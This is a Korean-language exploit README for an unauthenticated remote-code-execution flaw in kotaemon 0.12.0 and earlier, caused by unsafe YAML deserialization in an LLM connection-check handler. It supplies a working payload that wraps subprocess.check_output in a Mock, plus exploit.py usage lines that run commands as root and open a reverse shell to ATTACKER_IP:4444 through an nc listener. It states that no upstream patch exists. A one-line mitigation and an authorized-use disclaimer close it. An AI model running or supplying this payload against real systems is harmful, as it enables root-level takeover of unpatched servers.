
LLM 연결 확인 과정의 안전하지 않은 YAML 역직렬화를 대상으로 하는 인증되지 않은 원격 코드 실행 익스플로잇으로, 노출된 Gradio API를 통해 임의 명령 실행 및 리버스 셸을 지원합니다.
kotaemon (<= 0.12.0)의 LLM 설정 연결 확인에서의
안전하지 않은 역직렬화를 통한 비인증 원격 코드 실행 취약점입니다.
kotaemon의 LLM 설정 check_connection Gradio 핸들러(libs/ktem/ktem/llms/ui.py)는
공격자가 제공한 YAML spec을 파싱하여 안전하지 않게 역직렬화합니다:
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader) # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False) # <-- safe=False
theflow.deserialize(..., safe=False) (theflow/utils/modules.py)는 허용 목록 없이
import_dotted_string을 통해 spec의 __type__ 키를 해석한 다음, 공격자가 제어하는
kwargs로 인스턴스를 생성합니다:
if isinstance(value, dict) and "__type__" in value:
cls = import_dotted_string(value["__type__"], safe=False) # imports ANY dotted path
params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
return cls(**params) # instantiates with attacker kwargs
따라서 __type__가 subprocess.check_output인 spec은 역직렬화 중에 OS 명령을
실행합니다(CWE-502).
이를 깔끔한 비인증 RCE로 만드는 두 가지 요소는 다음과 같습니다:
auth= 없이 실행됩니다. "로그인"은 단지 UI 탭의
표시 여부만 전환할 뿐이며, 등록된 모든 이벤트 핸들러는 공개적으로 호출할 수 있습니다.
KH_FEATURE_USER_MANAGEMENT는 HTTP/queue API를 제한하지 않습니다.info["spec"].update(<attacker yaml>)가 LLM spec을 완전히
덮어쓰므로 페이로드는 실제 LLM 제공자와 전혀 통신하지 않습니다.kotaemon의 공식 Docker 이미지는 root로 실행되므로 RCE도 root 권한으로 실행됩니다. 작성 시점 기준 업스트림 수정 사항은 없습니다.
전달되는 YAML spec:
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, "<cmd>"]
text: true
deserialize는 먼저 return_value로 재귀하여 → subprocess.check_output(args=["sh","-c","<cmd>"], text=True)가 명령을 실행합니다. 이를 unittest.mock.Mock으로 감싸면 남은 기본 spec
kwargs(model/api_key)가 흡수되어 외부 호출이 깨지지 않으며, 명령의 stdout은 핸들러의
Got response: ... 메시지로 다시 출력됩니다.
표준 라이브러리만 사용합니다(Python 3). 익스플로잇은 두 번의 Gradio 호출을 수행합니다: create_llm(이름 있는 LLM 항목을 시드하여
llms.info()[name]이 조회되도록 함) 후 check_connection(페이로드 전달).
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
대상에서 create_llm / check_connection 핸들러 이름이 다르다면 GET /config
(dependencies[].api_name)에서 이를 열거한 후 조정하세요.
kotaemon <= 0.12.0(기본 포트 7860). 작성 시점 기준 업스트림 패치가 없습니다.
deserialize를 safe=True 및 allowed_modules 허용 목록과 함께 호출하여 공격자의
__type__이 import_dotted_string에 도달하지 못하게 하세요.승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유한 시스템 또는 테스트에 대한 명시적 허가를 받은 시스템에만 사용하세요.